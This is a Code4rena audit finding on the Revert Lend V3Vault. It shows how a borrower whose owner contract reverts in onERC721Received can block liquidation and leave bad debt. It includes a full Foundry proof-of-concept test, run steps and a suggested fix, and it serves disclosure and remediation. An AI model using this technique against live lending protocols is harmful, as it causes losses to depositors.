Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $88,500 USDC
Total HM: 31
Participants: 105
Period: 11 days
Judge: ronnyx2017
Total Solo HM: 7
Id: 342
League: ETH
Rank: 87/105
Findings: 1
Award: $17.32
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xjuan
Also found by: 0rpse, 0x175, 0xAlix2, 0xBugSlayer, 0xloscar01, Ali-_-Y, Arz, CaeraDenoir, JohnSmith, Ocean_Sky, SpicyMeatball, alix40, ayden, falconhoof, givn, iamandreiski, kinda_very_good, nmirchev8, nnez, novamanbg, stackachu, wangxx2026
17.3162 USDC - $17.32
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083
Prevent liquidation of malicious actor's position, causing bad debt to the protocol and users (since some bad debt are democratized to users).
At the end of liquidation process, loan struct is clear up in _clearupLoan()
function.
see: https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L743-L744
Zooming in _clearupLoan
implementation:
function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner) internal { _removeTokenFromOwner(owner, tokenId); _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0); delete loans[tokenId]; nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId); emit Remove(tokenId, owner); }
Note that it transfers NFT position back to token's owner.
Using safeTransferFrom
, if to
address is a contract account, ERC721 token will attempt to call onERC721Received
on to
address. For contract account to receive ERC721 token, it must implement onERC721Received
and return a magic bytes to signal that it can handle ERC721 token, if NOT then the transfer will revert.
A malicious actor can leverage this fact and implement onERC721Received
that only revert the transfer when it is the part of liquidation process so that its position can't be liquidated.
I wrote a test for this in a separate file, borrow a setup from V3Vault.t.sol
and its liquidation test.
What it does is it use foundry cheatcode, vm.etch
to put a bytecode into TEST_NFT_ACCOUNT
in order to demonstrate that liquidation will fail if the receiver of the position is not compatible with ERC721Receiver
(1) Save below file in test/integrations
, name it LiquidationFail.t.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/console.sol"; // base contracts import "../../src/V3Oracle.sol"; import "../../src/V3Vault.sol"; import "../../src/InterestRateModel.sol"; // transformers import "../../src/transformers/LeverageTransformer.sol"; import "../../src/transformers/V3Utils.sol"; import "../../src/transformers/AutoRange.sol"; import "../../src/transformers/AutoCompound.sol"; import "../../src/utils/FlashloanLiquidator.sol"; import "../../src/interfaces/IErrors.sol"; contract LiquidationFail is Test { uint256 constant Q32 = 2 ** 32; uint256 constant Q96 = 2 ** 96; uint256 constant YEAR_SECS = 31557600; // taking into account leap years address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC; IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3; address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6; address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9; address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5; uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320) address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99; uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320) uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3% uint256 mainnetFork; V3Vault vault; InterestRateModel interestRateModel; V3Oracle oracle; function setUp() external { mainnetFork = vm.createFork("https://ethereum.publicnode.com"); vm.selectFork(mainnetFork); // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed) (-> max rate 25.8% per year) interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100); // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results) oracle = new V3Oracle(NPM, address(USDC), address(0)); oracle.setTokenConfig( address(USDC), AggregatorV3Interface(CHAINLINK_USDC_USD), 3600 * 24 * 30, IUniswapV3Pool(address(0)), 0, V3Oracle.Mode.TWAP, 0 ); oracle.setTokenConfig( address(DAI), AggregatorV3Interface(CHAINLINK_DAI_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_DAI_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); oracle.setTokenConfig( address(WETH), AggregatorV3Interface(CHAINLINK_ETH_USD), 3600 * 24 * 30, IUniswapV3Pool(UNISWAP_ETH_USDC), 60, V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000 ); vault = new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2)); vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value // limits 15 USDC each vault.setLimits(0, 1_000e6, 1_000e6, 1_000e6, 1_000e6); // without reserve for now vault.setReserveFactor(0); } function _setupBasicLoan(bool borrowMax) internal { // lend 10 USDC _deposit(100e6, WHALE_ACCOUNT); // add collateral vm.prank(TEST_NFT_ACCOUNT); NPM.approve(address(vault), TEST_NFT); vm.prank(TEST_NFT_ACCOUNT); vault.create(TEST_NFT, TEST_NFT_ACCOUNT); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); // assertEq(collateralValue, 8847206); // assertEq(fullValue, 9830229); if (borrowMax) { // borrow max vm.prank(TEST_NFT_ACCOUNT); vault.borrow(TEST_NFT, collateralValue); } } function _repay(uint256 amount, address account, uint256 tokenId, bool complete) internal { vm.prank(account); USDC.approve(address(vault), amount); if (complete) { (uint256 debtShares) = vault.loans(tokenId); vm.prank(account); vault.repay(tokenId, debtShares, true); } else { vm.prank(account); vault.repay(tokenId, amount, false); } } function _deposit(uint256 amount, address account) internal { vm.prank(account); USDC.approve(address(vault), amount); vm.prank(account); vault.deposit(amount, account); } function _createAndBorrow(uint256 tokenId, address account, uint256 amount) internal { vm.prank(account); NPM.approve(address(vault), tokenId); bytes[] memory calls = new bytes[](2); calls[0] = abi.encodeWithSelector(V3Vault.create.selector, tokenId, account); calls[1] = abi.encodeWithSelector(V3Vault.borrow.selector, tokenId, amount); vm.prank(account); vault.multicall(calls); } function testLiquidationFail() public { _setupBasicLoan(true); (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT); // debt is equal collateral value (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT); vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max); // 20% collateral factor // debt is greater than collateral value (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT); vm.prank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost - 1); (uint256 debtShares) = vault.loans(TEST_NFT); vm.prank(WHALE_ACCOUNT); USDC.approve(address(vault), liquidationCost); // putting bytecode into owner account, effectively make it a contract with no support for onERC721Received vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080")); vm.prank(WHALE_ACCOUNT); vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, "")); // NFT was returned to owner assertEq(NPM.ownerOf(TEST_NFT), TEST_NFT_ACCOUNT); // all debt is payed assertEq(vault.debtSharesTotal(), 0); } }
(2) Run forge test --match-contract LiquidationFail --match-test testLiquidation -vvv
(3) Note that the test fail due to the safeTransferFrom
(4) Try remove this line vm.etch(TEST_NFT_ACCOUNT, bytes(hex"6080"));
and run the test again
(5) Note that now the liquidation is successful this time
_clearupLoan()
with try-catchERC721
#0 - c4-pre-sort
2024-03-18T18:41:16Z
0xEVom marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-20T08:34:14Z
0xEVom marked the issue as duplicate of #54
#2 - c4-judge
2024-03-31T16:00:12Z
jhsagd76 marked the issue as satisfactory